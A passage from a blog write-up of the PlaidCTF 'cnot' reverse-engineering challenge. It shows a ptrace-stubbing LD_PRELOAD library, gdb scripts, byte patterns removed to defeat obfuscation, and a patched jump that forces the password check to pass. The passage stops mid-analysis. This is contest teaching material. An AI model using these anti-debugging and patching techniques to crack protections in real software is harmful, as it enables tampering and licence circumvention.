		<description><![CDATA[When I was at Shmoocon, I saw a talk about how to write an effective capture-the-flag contest. One of their suggestions was to have a tar-pit challenge that would waste all the time of the best player, by giving him a complicated challenge he won't be able to resist. In my opinion, in PlaidCTF, I [...]]]></description>
			<content:encoded><![CDATA[<style type="text/css">
<!--
pre { white-space: pre-wrap; font-family: monospace; color: #839496; background-color: #002b36; }
tt { font-family: monospace; color: #839496; background-color: #002b36; }
.lnr { color: #586e75; background-color: #073642; }
.Type { color: #b58900; }
.Comment { color: #586e75; font-style: italic; }
.Special { color: #dc322f; }
.Statement { color: #719e07; }
.Constant { color: #2aa198; }
.Identifier { color: #268bd2; }
.rubyDefine { color: #93a1a1; background-color: #002b36; font-weight: bold; }
-->
</style>
<p>When I was at Shmoocon, I saw a talk about how to write an effective capture-the-flag contest. One of their suggestions was to have a tar-pit challenge that would waste all the time of the best player, by giving him a complicated challenge he won't be able to resist. In my opinion, in <a href='http://www.plaidctf.com/'>PlaidCTF</a>, I suspected that "cnot" was that challenge. And I was the sucker, even though I knew it all the way...</p>
<p>(It turns out, after reviewing writeups of other challenges, that most of the challenges were like this; even so, I'm proud to have been sucked in!)</p>
<p>If you want a writeup where you can learn something, I plan to post a writeup for "Ropasaurus" in the next day or two. If you want a writeup about me being tortured as I fought through inconceivable horrors to finish a level and capture the bloody flag, read on! This level wasn't a lot of learning, just brute-force persistence.</p>
<p>It's worthwhile to note that I'm not going to cover every piece or every line&mdash;maybe I'll do that as a novel in the future&mdash;this is mostly going to be a summary. Even so, this is going to be a <em>long</em> writeup. I'm trying to make it interesting and fun to read, and to break it into shorter sections. But heed this warning!</p>
<p>Also, I may switch between "I" and "we" throughout the writeup. This indicates when I was being helped by somebody, when I was alone, and when I was simply going insane. I'm pretty sure the voices in my head helping with a solution are a good enough reason to say "we" instead of "I", right?</p>
<p>Now that the contest is over, <a href="https://gist.github.com/5449611">the source</a> has been released. Here's the command they used for compiling it, directly from that source:</p>
<pre>
<span class="lnr">1 </span><span class="Comment">// compile with:</span>
<span class="lnr">2 </span><span class="Comment">// isildur cnot.c0 -l l4rt.h0 -o test.s --obfuscate --anti-debug --confuse</span>
<span class="lnr">3 </span><span class="Comment">// gcc test.s obf.c -o cnot</span>
<span class="lnr">4 </span><span class="Comment">// strip cnot</span>
</pre>
<p><tt>--obfuscate</tt>, <tt>--anti-debug</tt>, <em>and</em> <tt>--confuse</tt>? Awww, you shouldn't have! But, I digress. I didn't have this info back then...</p>
<p>Being that I fancy myself a reverse engineer, this level appealed to me right away. In fact, it's the first one I looked at, despite it being the highest point value. Go big or go home!</p>
<p>I spent about fifteen minutes poking around. I determined that the binary was ugly as sin, that the debugger didn't work, and that it was 64-bit Intel assembly. Well fuck, I don't even <em>know</em> x64 (well, I didn't when I started this CTF, at least). So I gave up and moved onto another level, Ropasaurus (which will have its own writeup).</p>
<p>After solving a some other levels with the help of HikingPete (Ropasaurus, Cyrpto, and charsheet), I came back to cnot late Friday night. <a href="https://www.twitter.com/mogigoma">Mak</a> and <a href="https://www.twitter.com/nateloaf">Nate</a> had put several hours into it and had given up. It was all up to me.</p>
<p>Let's start by summarizing the weekend...</p>
<p>Work on it till 6am. Wake up at 9am. Work on another problem for a couple hours, return to cnot by noon. Work solid&mdash;besides a meal&mdash;till 6am again. Getting so close, but totally stuck.</p>
<p>Wake up early again, go straight to it. 9am I think? Stuck, so stuck. Came up with ideas, failed, more ideas, failed failed failed. Finally, thought of something. Can it work...? IT DID! FLAG OBTAINED!! Hardest binary I've ever reversed, and I was suddenly an expert on x64! Done by 2pm, too! That means I only spent.. <em>thirty</em> hours? Is that right? Dear lord...</p>
<p>And you know what the kicker is? Even without the obfuscation, without the anti-debugging, and without the... confusion? This still would have been a goddamn hard binary! Hell, take a look at the <a href="https://gist.github.com/5449611">C version</a>. Even that would have been a huge pain!</p>
<p>But now I'm definitely getting ahead of myself. The rest of this document will be about what worked, I don't explore too many of the 'wrong paths' I took, except where it's pedagogical to do so. </p>
<h2>The setup</h2>
<p>Basically, we had a 64-bit Linux executable file, and no hints of any kind. I fired up a Debian 6.0.7 machine with basically default everything, except that I installed my favourite dev/reversing tools that you'll see throughout this writeup. I also had a Windows machine with a modern version of <a href="https://www.hex-rays.com/products/ida/index.shtml">IDA Pro</a>. If you plan to do any reversing, you <em>need</em> IDA Pro. The free version works for most stuff, but modern versions are way faster and handle a lot more madness.</p>
<p>You run the program, it simply asks for a password. You type in something, and it generally says "Wrong!" and ends:</p>
<pre>
<span class="lnr">1 </span><span class="perlVarPlain">ron@debian-x86</span> ~<span class="Statement">/</span><span class="Constant">cnot </span><span class="perlVarPlain">$</span><span class="Constant"> </span><span class="Special">.</span><span class="Statement">/c</span>not
<span class="lnr">2 </span>Please enter your password: hello
<span class="lnr">3 </span>Wrong!
</pre>
<p>The goal was to figure out the password for this executable, which was the flag.</p>
<p>And that's our starting point. So far so good!</p>
<p>At this point, I had a lot of ideas. Sometimes, you start with the error message, work your way back to a comparison, and look at what's being compared to what. Sometimes, you start with the input and look at how it's being mangled. Or sometimes, you quietly sob in the corner. I tried the first two approaches at the start, and then steadily moved on to the last.</p>
<h2>Wasted effort</h2>
<p>Mak and Nate had started working on the project without me, and Mak had started writing a timing-attack tool. Sometimes, if one letter is compared at a time, you can derive each letter individually by timing the comparisons and looking at which one is the fastest. That could save a ton of reversing time!</p>
<p><a href="http://i.imgur.com/bj4TF0y.jpg">If I'd known then what I know now</a>, I wouldn't have bothered. This had no hope of working. But it was worth a shot! </p>
<p>I helped Mak finish a program that would:</p>
<ul>
<li>Choose a letter</li>
<li>Write it to a file</li>
<li>Start a high resolution timer (using <a href="https://en.wikipedia.org/wiki/Time_Stamp_Counter">rdtsc</a>, which counts the number of cycles since reset)</li>
<li>Run the process</li>
<li>Read the timer state</li>
<li>Repeat for each letter, choose the best</li>
<li>Go back to the top and choose another letter</li>
</ul>
<p>This works exceptionally well, in some cases. This was not one of the cases. It turns out that the letters were validated with a checksum first, which instantly breaks it. Then they were validated out of order, and in various other ways, all of which would break this. So, long story short, it was a waste of our time.</p>
<p>Luckily, after an hour or two, I said "this isn't working" and we moved on without ever looking back.</p>
<h2>Anti-debugging</h2>
<p>Our first step was anti-debugging, because this:</p>
<pre>
<span class="lnr">1 </span><span class="perlVarPlain">$</span> gdb ./cnot
<span class="lnr">2 </span>Reading symbols from <span class="Statement">/</span><span class="Constant">home</span><span class="Statement">/</span>ron/cnot/cnot...(<span class="Statement">no </span>debugging symbols found)...done.
<span class="lnr">3 </span>(gdb) run hello
<span class="lnr">4 </span>Starting program: <span class="Statement">/</span><span class="Constant">home</span><span class="Statement">/</span>ron/cnot/cnot hello
<span class="lnr">5 </span>
<span class="lnr">6 </span>Program received signal SIGSEGV, Segmentation fault.
<span class="lnr">7 </span><span class="Constant">0x00400b86</span> in ?? ()
<span class="lnr">8 </span>
</pre>
<p>You assholes! If you run it with strace, you'll see this:</p>
<pre>
<span class="lnr">1 </span>trace ./cnot <span class="Constant">2</span>&gt;&amp;<span class="Constant">1</span> | tail -n4
<span class="lnr">2 </span>  munmap(<span class="Constant">0x7f5cc9159000</span>, <span class="Constant">63692</span>)           = <span class="Constant">0</span>
<span class="lnr">3 </span>  ptrace(PTRACE_TRACEME, <span class="Constant">0</span>, <span class="Constant">0</span>, <span class="Constant">0</span>)         = -1 EPERM (Operation <span class="Statement">not</span> permitted)
<span class="lnr">4 </span>  --- SIGSEGV (Segmentation fault) @ <span class="Constant">0</span> (<span class="Constant">0</span>) ---
<span class="lnr">5 </span>  +++ killed by SIGSEGV (core dumped) +++
<span class="lnr">6 </span>
</pre>
<p>So it's calling <a href="https://en.wikipedia.org/wiki/Ptrace">ptrace</a> right before dying, eh? Well, I know how to deal with that! Mak wrote a quick library:</p>
<pre>
<span class="lnr">1 </span>  ron@debian-x64 ~/cnot $ <span class="Statement">echo</span> <span class="Statement">'</span><span class="Constant">long ptrace(int a, int b, int c){return 0;}</span><span class="Statement">'</span> <span class="Statement">&gt;</span> override.c
<span class="lnr">2 </span>  ron@debian-x64 ~/cnot $ gcc <span class="Special">-shared</span> <span class="Special">-fPIC</span> <span class="Special">-o</span> override.so ./override.c
</pre>
<p>Add it to our gdbinit file:</p>
<pre>
<span class="lnr">1 </span>$ <span class="Statement">cat</span> gdbinit
<span class="lnr">2 </span><span class="Comment"># Set up the environment</span>
<span class="lnr">3 </span><span class="Statement">set</span> disassembly-flavor intel
<span class="lnr">4 </span><span class="Statement">set</span> confirm off
<span class="lnr">5 </span>
<span class="lnr">6 </span><span class="Comment"># Disable the anti-debugging</span>
<span class="lnr">7 </span><span class="Statement">set</span> environment LD_PRELOAD ./overload.so
</pre>
<p>And run the program with that gdbinit file:</p>
<pre>
<span class="lnr">1 </span><span class="perlVarPlain">$</span> gdb <span class="Statement">-x</span> ./gdbinit ./cnot
<span class="lnr">2 </span>Reading symbols from <span class="Statement">/</span><span class="Constant">home</span><span class="Statement">/</span>ron/cnot/cnot...(<span class="Statement">no </span>debugging symbols found)...done.
<span class="lnr">3 </span>(gdb) run
<span class="lnr">4 </span>Please enter your password: hello
<span class="lnr">5 </span>Wrong!
<span class="lnr">6 </span>
<span class="lnr">7 </span>Program exited normally.
<span class="lnr">8 </span>
</pre>
<p>Thankfully, that was the only anti-debugging measure taken. gdbinit files are actually something I learned from Mak while working on the <a href="http://io.smashthestack.org:84/">IO Wargame</a>, and are one of the most valuable tools in your debugging arsenal!</p>
<h2>First steps</h2>
<p>First of all, let's take a look at the imports; this can be done more easily in IDA, but to avoid filling this writeup with screenshots, I'll use <a href="https://en.wikipedia.org/wiki/Objdump">objdump</a> to get the equivalent information:</p>
<pre>
<span class="lnr"> 1 </span><span class="perlVarPlain">ron@debian-x86</span> ~<span class="Statement">/</span><span class="Constant">cnot </span><span class="perlVarPlain">$</span><span class="Constant"> objdump -R cnot</span>
<span class="lnr"> 2 </span>
<span class="lnr"> 3 </span><span class="Constant">cnot:     file format elf64-x86-64</span>
<span class="lnr"> 4 </span>
<span class="lnr"> 5 </span><span class="Constant">DYNAMIC RELOCATION RECORDS</span>
<span class="lnr"> 6 </span><span class="Constant">OFFSET           TYPE              VALUE</span>
<span class="lnr"> 7 </span><span class="Constant">006101b8 R_X86_64_GLOB_DAT   __gmon_start__</span>
<span class="lnr"> 8 </span><span class="Constant">00610240 R_X86_64_COPY       stdin</span>
<span class="lnr"> 9 </span><span class="Constant">00610250 R_X86_64_COPY       stdout</span>
<span class="lnr">10 </span><span class="Constant">006101d8 R_X86_64_JUMP_SLOT  __isoc99_fscanf</span>
<span class="lnr">11 </span><span class="Constant">006101e0 R_X86_64_JUMP_SLOT  exit</span>
<span class="lnr">12 </span><span class="Constant">006101e8 R_X86_64_JUMP_SLOT  __libc_start_main</span>
<span class="lnr">13 </span><span class="Constant">006101f0 R_X86_64_JUMP_SLOT  ungetc</span>
<span class="lnr">14 </span><span class="Constant">006101f8 R_X86_64_JUMP_SLOT  fputc</span>
<span class="lnr">15 </span><span class="Constant">00610200 R_X86_64_JUMP_SLOT  fgetc</span>
<span class="lnr">16 </span><span class="Constant">00610208 R_X86_64_JUMP_SLOT  ptrace</span>
<span class="lnr">17 </span><span class="Constant">00610210 R_X86_64_JUMP_SLOT  raise</span>
<span class="lnr">18 </span><span class="Constant">00610218 R_X86_64_JUMP_SLOT  calloc</span>
<span class="lnr">19 </span><span class="Constant">00610220 R_X86_64_JUMP_SLOT  feof</span>
<span class="lnr">20 </span><span class="Constant">00610228 R_X86_64_JUMP_SLOT  fprintf</span>
</pre>
<p><tt>fputc()</tt> and <tt>fgetc()</tt> were the ones I was most interested in. To make a long story short, we put a breakpoint on <tt>fputc()</tt> to see when it was called. It was called twice for each character. Once&mdash;at offset 0x40F63B&mdash;it was in a function that checked for EOF (end of file) then used <tt>ungetc()</tt> to put it back. It was never actually returned. The other time&mdash;at offset 0x40F723&mdash;it was called then the function returned the character. That's where I focused.</p>
<p>I used a breakpoint to confirm that it was actually calling each of those functions for every character I entered. It was.</p>
<p>At that point, I tried to follow the logic onward from where the value was read. Me and Mak, together, followed the path that was then taken through the code. Essentially, checks were done for EOF, for NULL being returned from <tt>fgetc()</tt>, and for a newline. If it was any of those, it would jump to a label that I called found_newline or something like that. We pushed our way through the obfuscated code, though, which IDA did a poor job of figuring out.</p>
<p>Eventually, we managed to get back to the <tt>fgetc()</tt> calls through the biiiig loop. When I tried to follow the other code path, to see how the program handles the completed string, I quickly became lost.</p>
<p>I then tried the other approach&mdash;starting from the "Wrong!" label and working backwards. I found all the calls to <tt>fputc()</tt> in gdb by doing the following:</p>
<p>Run the program until it requests password (recalling that "-x ./gdbinit" loads my init script, which loads override.so to fix the anti-debugging), then break by using ctrl-c:</p>
<pre>
<span class="lnr"> 1 </span><span class="perlVarPlain">$</span> gdb <span class="Statement">-x</span> ./gdbinit ./cnot
<span class="lnr"> 2 </span>Reading symbols from <span class="Statement">/</span><span class="Constant">home</span><span class="Statement">/</span>ron/cnot/cnot...(<span class="Statement">no </span>debugging symbols found)...done.
<span class="lnr"> 3 </span>(gdb) run
<span class="lnr"> 4 </span>Please enter your password: ^C
<span class="lnr"> 5 </span>Program received signal SIGINT, Interrupt.
<span class="lnr"> 6 </span><span class="Constant">0x00007ffff793f870</span> in <span class="perlStatementFileDesc">read</span> () from <span class="Statement">/</span><span class="Constant">lib</span><span class="Statement">/</span>libc.so<span class="Constant">.6</span>
<span class="lnr"> 7 </span>
</pre>
<p>Add a breakpoint at <tt>fputc()</tt>, then continue and enter "hello" for my password:</p>
<pre>
<span class="lnr"> 8 </span>
<span class="lnr"> 9 </span>(gdb) b fputc
<span class="lnr">10 </span>Breakpoint <span class="Constant">1</span> at <span class="Constant">0x7ffff78e26d0</span>
<span class="lnr">11 </span>(gdb) cont
<span class="lnr">12 </span>hello
<span class="lnr">13 </span>
</pre>
<p>Once it breaks, run the "finish" command twice to exit two layers of function:</p>
<pre>
<span class="lnr">14 </span>
<span class="lnr">15 </span>Breakpoint <span class="Constant">1</span>, <span class="Constant">0x00007ffff78e26d0</span> in fputc () from <span class="Statement">/</span><span class="Constant">lib</span><span class="Statement">/</span>libc.so<span class="Constant">.6</span>
<span class="lnr">16 </span>(gdb) finish
<span class="lnr">17 </span><span class="Constant">0x0040f6c6</span> in ?? ()
<span class="lnr">18 </span>(gdb) finish
<span class="lnr">19 </span><span class="Constant">0x00400840</span> in ?? ()
</pre>
<p>Now we're at 0x400840. If you look at the function it's in, you'll see that it ends like this:</p>
<pre>
<span class="lnr">1 </span><span class="Statement">.text</span>:<span class="Constant">00400</span><span class="Constant">851</span>     <span class="Identifier">pop</span>     <span class="Identifier">rdi</span>
<span class="lnr">2 </span><span class="Statement">.text</span>:<span class="Constant">00400</span><span class="Constant">852</span>     <span class="Identifier">jmp</span>     <span class="Identifier">rdi</span>
</pre>
<p>As a result, gdb won't be able to "finish" properly since it never (technically) returns! Instead, we set a breakpoint on the last line then use the "stepi" command to step out:</p>
<pre>
<span class="lnr">1 </span>(gdb) <span class="Statement">break</span> *<span class="Constant">0x400852</span>
<span class="lnr">2 </span>Breakpoint <span class="Constant">2</span> at <span class="Constant">0x400852</span>
<span class="lnr">3 </span>(gdb) cont
<span class="lnr">4 </span>
<span class="lnr">5 </span>Breakpoint <span class="Constant">2</span>, <span class="Constant">0x00400852</span> in ?? ()
<span class="lnr">6 </span>(gdb) stepi
<span class="lnr">7 </span><span class="Constant">0x0040f149</span> in ?? ()
</pre>
<p>0x40f149! If you're following along in IDA, you'll see a ton of undefined code there. D'oh! You can use 'c' to define the code in IDA, just keep moving up and down and pressing 'c' (and occasionally 'u' when you see SSE instructions) in various places till stuff looks right. Eventually, you'll see:</p>
<pre>
<span class="lnr"> 1 </span><span class="Statement">.text</span>:<span class="Constant">0040F10F</span>     <span class="Identifier">mov</span>     <span class="Identifier">qword</span> <span class="Identifier">ptr</span> [<span class="Identifier">rbp</span>-<span class="Constant">68h</span>], <span class="Constant">0</span>
<span class="lnr"> 2 </span><span class="Statement">.text</span>:<span class="Constant">0040F117</span>     <span class="Identifier">mov</span>     <span class="Identifier">dword</span> <span class="Identifier">ptr</span> [<span class="Identifier">rbp</span>-<span class="Constant">68h</span>], '<span class="Identifier">W</span>'
<span class="lnr"> 3 </span><span class="Statement">.text</span>:<span class="Constant">0040F11E</span>     <span class="Identifier">push</span>    <span class="Identifier">r8</span>
<span class="lnr"> 4 </span><span class="Statement">.text</span>:<span class="Constant">0040F120</span>     <span class="Identifier">push</span>    <span class="Identifier">r9</span>
<span class="lnr"> 5 </span><span class="Statement">.text</span>:<span class="Constant">0040F122</span>     <span class="Identifier">push</span>    <span class="Identifier">rcx</span>
<span class="lnr"> 6 </span><span class="Statement">.text</span>:<span class="Constant">0040F123</span>     <span class="Identifier">xor</span>     <span class="Identifier">rcx</span>, <span class="Identifier">rcx</span>
<span class="lnr"> 7 </span><span class="Statement">.text</span>:<span class="Constant">0040F126</span>     <span class="Identifier">jz</span>      <span class="Identifier">short</span> <span class="Identifier">near</span> <span class="Identifier">ptr</span> <span class="Identifier">loc_40F128</span>+<span class="Constant">1</span>
<span class="lnr"> 8 </span><span class="Statement">.text</span>:<span class="Constant">0040F128</span>
<span class="lnr"> 9 </span><span class="Statement">.text</span>:<span class="Constant">0040F128</span> <span class="Identifier">loc_40F128</span>:
<span class="lnr">10 </span><span class="Statement">.text</span>:<span class="Constant">0040F128</span>     <span class="Identifier">mulps</span>   <span class="Identifier">xmm2</span>, <span class="Identifier">xmmword</span> <span class="Identifier">ptr</span> [<span class="Identifier">rcx</span>+<span class="Constant">53h</span>]
<span class="lnr">11 </span><span class="Statement">.text</span>:<span class="Constant">0040F12C</span>     <span class="Identifier">push</span>    <span class="Identifier">rdx</span>
<span class="lnr">12 </span><span class="Statement">.text</span>:<span class="Constant">0040F12D</span>     <span class="Identifier">call</span>    $+<span class="Constant">5</span>
<span class="lnr">13 </span><span class="Statement">.text</span>:<span class="Constant">0040F132</span>     <span class="Identifier">pop</span>     <span class="Identifier">rdx</span>
<span class="lnr">14 </span><span class="Statement">.text</span>:<span class="Constant">0040F133</span>     <span class="Identifier">add</span>     <span class="Identifier">rdx</span>, <span class="Constant">8</span>
<span class="lnr">15 </span><span class="Statement">.text</span>:<span class="Constant">0040F137</span>     <span class="Identifier">push</span>    <span class="Identifier">rdx</span>
<span class="lnr">16 </span><span class="Statement">.text</span>:<span class="Constant">0040F138</span>     <span class="Identifier">retn</span>
<span class="lnr">17 </span><span class="Statement">.text</span>:<span class="Constant">0040F138</span>                <span class="Comment">; -------------</span>
<span class="lnr">18 </span><span class="Statement">.text</span>:<span class="Constant">0040F139</span>    <span class="Identifier">db</span>  0<span class="Identifier">Fh</span>
<span class="lnr">19 </span><span class="Statement">.text</span>:<span class="Constant">0040F13A</span>                <span class="Comment">; -------------</span>
<span class="lnr">20 </span><span class="Statement">.text</span>:<span class="Constant">0040F13A</span>     <span class="Identifier">pop</span>     <span class="Identifier">rdx</span>
<span class="lnr">21 </span><span class="Statement">.text</span>:<span class="Constant">0040F13B</span>     <span class="Identifier">pop</span>     <span class="Identifier">rbx</span>
<span class="lnr">22 </span><span class="Statement">.text</span>:<span class="Constant">0040F13C</span>     <span class="Identifier">pop</span>     <span class="Identifier">rcx</span>
<span class="lnr">23 </span><span class="Statement">.text</span>:<span class="Constant">0040F13D</span>     <span class="Identifier">mov</span>     <span class="Identifier">rdi</span>, [<span class="Identifier">rbp</span>-<span class="Constant">68h</span>]
<span class="lnr">24 </span><span class="Statement">.text</span>:<span class="Constant">0040F141</span>     <span class="Identifier">mov</span>     <span class="Identifier">r15</span>, <span class="Identifier">rax</span>
<span class="lnr">25 </span><span class="Statement">.text</span>:<span class="Constant">0040F144</span>     <span class="Identifier">call</span>    <span class="Identifier">sub_400824</span>
</pre>
<p>This isn't quite right, because of the <tt>jz</tt> and the <tt>call/push/ret</tt> in the middle, but we'll deal with that shortly. For now, look at 0x0040F117&mdash;<tt>push 'W'</tt>&mdash;and 0x40F144&mdash;call the function that calls <tt>fputc()</tt>! If you follow it down, you'll find the 'r', 'o', 'n', 'g', '!', newline, and then 'C', 'o', 'r', 'r', 'e', 'c', 't', '!'. That's great news! We found where it prints the two cases!</p>
<p>The problem is, it's ugly as sin. I can't even count the number of times I used 'u' to undefine bad instructions and 'c' to define better ones before I finally gave up and edited the binary...</p>
<h2>Anti-reversing</h2>
<p>The best thing I ever did&mdash;and I wish I did it earlier!&mdash;was to fix the anti-reversing nonsense. There are long strings of the same thing that make analysis hard. In the previous example, everything from the <tt>push</tt> at 0x40F122 to the <tt>mov</tt> at 0x40F13D is totally worthless, and just confuses the disassembler, so let's get rid of it!</p>
<p>I loaded up the file in xvi32.exe&mdash;my favourite Windows hex editor&mdash;and did a find/replace on the sequence of bytes:</p>
<pre>
 51 48 31 C9 74 01 0F 59 51 53 52 E8 00 00 00 00 5A 48 83 C2 08 52 C3 0F 5A 5B 59
</pre>
<p>with NOPs:</p>
<pre>
 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
</pre>
<p>936 occurrences replaced! Awesome! But there was still some obfuscation left that looked like this:</p>
<pre>
<span class="lnr">1 </span><span class="Statement">.text</span>:<span class="Constant">0040F123</span>      <span class="Identifier">xor</span>     <span class="Identifier">rcx</span>, <span class="Identifier">rcx</span>
<span class="lnr">2 </span><span class="Statement">.text</span>:<span class="Constant">0040F126</span>      <span class="Identifier">jz</span>      <span class="Identifier">short</span> <span class="Identifier">near</span> <span class="Identifier">ptr</span> <span class="Identifier">loc_40F128</span>+<span class="Constant">1</span>
<span class="lnr">3 </span><span class="Statement">.text</span>:<span class="Constant">0040F128</span>
<span class="lnr">4 </span><span class="Statement">.text</span>:<span class="Constant">0040F128</span> <span class="Identifier">loc_40F128</span>:
<span class="lnr">5 </span><span class="Statement">.text</span>:<span class="Constant">0040F128</span>      <span class="Identifier">mulps</span>   <span class="Identifier">xmm2</span>, <span class="Identifier">xmmword</span> <span class="Identifier">ptr</span> [<span class="Identifier">rcx</span>+<span class="Constant">53h</span>]
<span class="lnr">6 </span><span class="Statement">.text</span>:<span class="Constant">0040F12C</span>      <span class="Identifier">push</span>    <span class="Identifier">rdx</span>
</pre>
<p>Note the <tt>jz</tt>&mdash;it actually jumps one byte, which means the instruction immediately following&mdash;the <tt>mulps</tt>&mdash;is an invalid instruction. The 0x0f is unused! This one is simple to fix&mdash;just replace 74 01 FF&mdash;the jump and the fake instruction&mdash;with NOPs:</p>
<pre>
  74 01 0F =&gt; 90 90 90
</pre>
<p>This fixes 290 more occurrences of code that confuses IDA!</p>
<p>And then there's this:  </p>
<pre>
<span class="lnr">1 </span><span class="Statement">.text</span>:<span class="Constant">00400C44</span>     <span class="Identifier">call</span>    $+<span class="Constant">5</span>
<span class="lnr">2 </span><span class="Statement">.text</span>:<span class="Constant">00400C49</span>     <span class="Identifier">pop</span>     <span class="Identifier">rdx</span>
<span class="lnr">3 </span><span class="Statement">.text</span>:<span class="Constant">00400C4A</span>     <span class="Identifier">add</span>     <span class="Identifier">rdx</span>, <span class="Constant">8</span>
<span class="lnr">4 </span><span class="Statement">.text</span>:<span class="Constant">00400C4E</span>     <span class="Identifier">push</span>    <span class="Identifier">rdx</span>
<span class="lnr">5 </span><span class="Statement">.text</span>:<span class="Constant">00400C4F</span>     <span class="Identifier">retn</span>
<span class="lnr">6 </span><span class="Statement">.text</span>:<span class="Constant">00400C4F</span> <span class="Identifier">sub_400BD1</span>      <span class="Identifier">endp</span> <span class="Comment">; sp-analysis failed</span>
<span class="lnr">7 </span><span class="Statement">.text</span>:<span class="Constant">00400C4F</span>
<span class="lnr">8 </span><span class="Statement">.text</span>:<span class="Constant">00400C50</span>     <span class="Identifier">cvtps2pd</span> <span class="Identifier">xmm3</span>, <span class="Identifier">qword</span> <span class="Identifier">ptr</span> [<span class="Identifier">rbx</span>+<span class="Constant">59h</span>]
</pre>
<p>Which can be removed with this pattern:</p>
<pre>
  e8 00 00 00 00 5a 48 83 c2 08 52 c3 0f
</pre>
<p>74 of which were removed.</p>
<p>After all that, I loaded the executable back in IDA, and it was much nicer! I realized later that there was probably more code I could have removed&mdash;such as the <tt>pop edi / jmp edi</tt> that's used instead of returning&mdash;but I got too invested in my IDA database that I didn't want to mess it up.</p>
<h2>Tracking down the compare</h2>
<p>All righty, now that we've cleaned up the code, we're starting to make some progress! By the time I got here, it was about 2am on Friday night, and I was still going strong (despite Mak being asleep behind me on a table). [Editor's Note: I needed my beauty sleep, dammit!]</p>
<p>Let's start by finding the 'Wrong' and 'Correct' strings again. You can breakpoint on <tt>fputc()</tt>, or you can just go to the definition of <tt>fputc()</tt> and keep jumping to cross references. Whatever you do, I want you to eventually wind up at the line that pushes the 'W' from 'Wrong!', which is here:</p>
<pre>
<span class="lnr">1 </span><span class="Statement">.text</span>:<span class="Constant">0040F117</span>                 <span class="Identifier">mov</span>     <span class="Identifier">dword</span> <span class="Identifier">ptr</span> [<span class="Identifier">rbp</span>-<span class="Constant">68h</span>], '<span class="Identifier">W</span>'
</pre>
<p>Two lines above it, you'll see a conditional jump:</p>
<pre>
<span class="lnr">1 </span><span class="Statement">.text</span>:<span class="Constant">0040F109</span>                 <span class="Identifier">jz</span>      <span class="Identifier">loc_40F359</span>
</pre>
<p>If you follow that jump, you'll see that if it jumps, it prints out 'Correct'; otherwise, it prints 'Wrong'. We can confirm this by forcing the jump, but first let's update our gdbinit file to break at the 'start' function:</p>
<pre>
<span class="lnr"> 1 </span>ron@debian-x64 ~/cnot $ cat gdbinit
<span class="lnr"> 2 </span><span class="Comment"># Set up the environment</span>
<span class="lnr"> 3 </span><span class="Statement">set</span> disassembly-flavor intel
<span class="lnr"> 4 </span><span class="Statement">set</span> <span class="Constant">confirm</span> off
<span class="lnr"> 5 </span>
<span class="lnr"> 6 </span><span class="Comment"># Disable the anti-debugging</span>
<span class="lnr"> 7 </span><span class="Statement">set</span> <span class="Constant">environment</span> LD_PRELOAD ./overload.so
<span class="lnr"> 8 </span>
<span class="lnr"> 9 </span><span class="Comment"># Put a breakpoint at the 'start' function</span>
<span class="lnr">10 </span><span class="Statement">break</span> *<span class="Constant">0x00400710</span>
<span class="lnr">11 </span>
<span class="lnr">12 </span><span class="Comment"># Run the program up to the breakpoint</span>
<span class="lnr">13 </span><span class="Statement">run</span>
</pre>
<p>Now we run the program, and change the <tt>jz</tt> at line 0x0040f109 to a <tt>jmp</tt>:</p>
<pre>
<span class="lnr"> 1 </span>$ gdb -x ./gdbinit ./cnot
<span class="lnr"> 2 </span>Reading symbols from /home/ron/cnot/cnot...(no debugging symbols found)...done.
<span class="lnr"> 3 </span>Breakpoint <span class="Constant">1</span> at <span class="Constant">0x400710</span>
<span class="lnr"> 4 </span>
<span class="lnr"> 5 </span>Breakpoint <span class="Constant">1</span>, <span class="Constant">0x00400710</span> in ?? ()
<span class="lnr"> 6 </span>(gdb) set {char}<span class="Constant">0x0040f109</span> = <span class="Constant">0x90</span>
<span class="lnr"> 7 </span>(gdb) set {char}<span class="Constant">0x0040f10a</span> = <span class="Constant">0xE9</span>
<span class="lnr"> 8 </span>(gdb) x/2i <span class="Constant">0x0040f109</span>
<span class="lnr"> 9 </span><span class="Constant">0x40f109</span>:       nop
<span class="lnr">10 </span><span class="Constant">0x40f10a</span>:       jmp    <span class="Constant">0x40f359</span>
<span class="lnr">11 </span>(gdb) cont
<span class="lnr">12 </span>Please enter your password: hello
<span class="lnr">13 </span>Correct!
</pre>
<p>So, we change 0x401109 to 0x90 (<tt>nop</tt>) and 0x0040f10a to 0xe9 (<tt>jmp long</tt>), verify the instructions, and run the program. Sure enough, my password now produces 'hello'. Success! Now I just have to backstep a little bit and find the comparison, and we're done! Simple! Haha!</p>
<h2>13 steps to success</h2>
<p>So, every variable is set in an ass-backwards way. You get pretty accustomed to seeing it in this level, and kind of just mentally pattern-match it. I'm sure there's a better way, but eh? I got pretty fast at it as time went on.</p>
<p>The decision whether or not to make the important jump comes from [rbp-78h], which comes from [rbp-58h] (via like ten other variables). The only way to get that variable set properly is right here:</p>
<pre>
<span class="lnr">1 </span><span class="Statement">.text</span>:<span class="Constant">0040F08E</span>                <span class="Identifier">mov</span>     <span class="Identifier">qword</span> <span class="Identifier">ptr</span> [<span class="Identifier">rbp</span>-<span class="Constant">58h</span>], <span class="Constant">0</span>
<span class="lnr">2 </span><span class="Statement">.text</span>:<span class="Constant">0040F096</span>                <span class="Identifier">mov</span>     <span class="Identifier">dword</span> <span class="Identifier">ptr</span> [<span class="Identifier">rbp</span>-<span class="Constant">58h</span>], <span class="Constant">1</span>
</pre>
<p>Right below that, I noticed this code:</p>
<pre>
<span class="lnr"> 1 </span><span class="Statement">.text</span>:<span class="Constant">0040F09D</span>     <span class="Identifier">jmp</span>     <span class="Identifier">short</span> $+<span class="Constant">2</span>
<span class="lnr"> 2 </span><span class="Statement">.text</span>:<span class="Constant">0040F09F</span>
<span class="lnr"> 3 </span><span class="Statement">.text</span>:<span class="Constant">0040F09F</span> <span class="Identifier">loc_40F09F</span>:      <span class="Comment">; CODE XREF: sub_40911F+5F6Dj</span>
<span class="lnr"> 4 </span><span class="Statement">.text</span>:<span class="Constant">0040F09F</span>     <span class="Identifier">jmp</span>     <span class="Identifier">short</span> $+<span class="Constant">2</span>
<span class="lnr"> 5 </span><span class="Statement">.text</span>:<span class="Constant">0040F0A1</span>
<span class="lnr"> 6 </span><span class="Statement">.text</span>:<span class="Constant">0040F0A1</span> <span class="Identifier">loc_40F0A1</span>:      <span class="Comment">; CODE XREF: sub_40911F+59EBj</span>
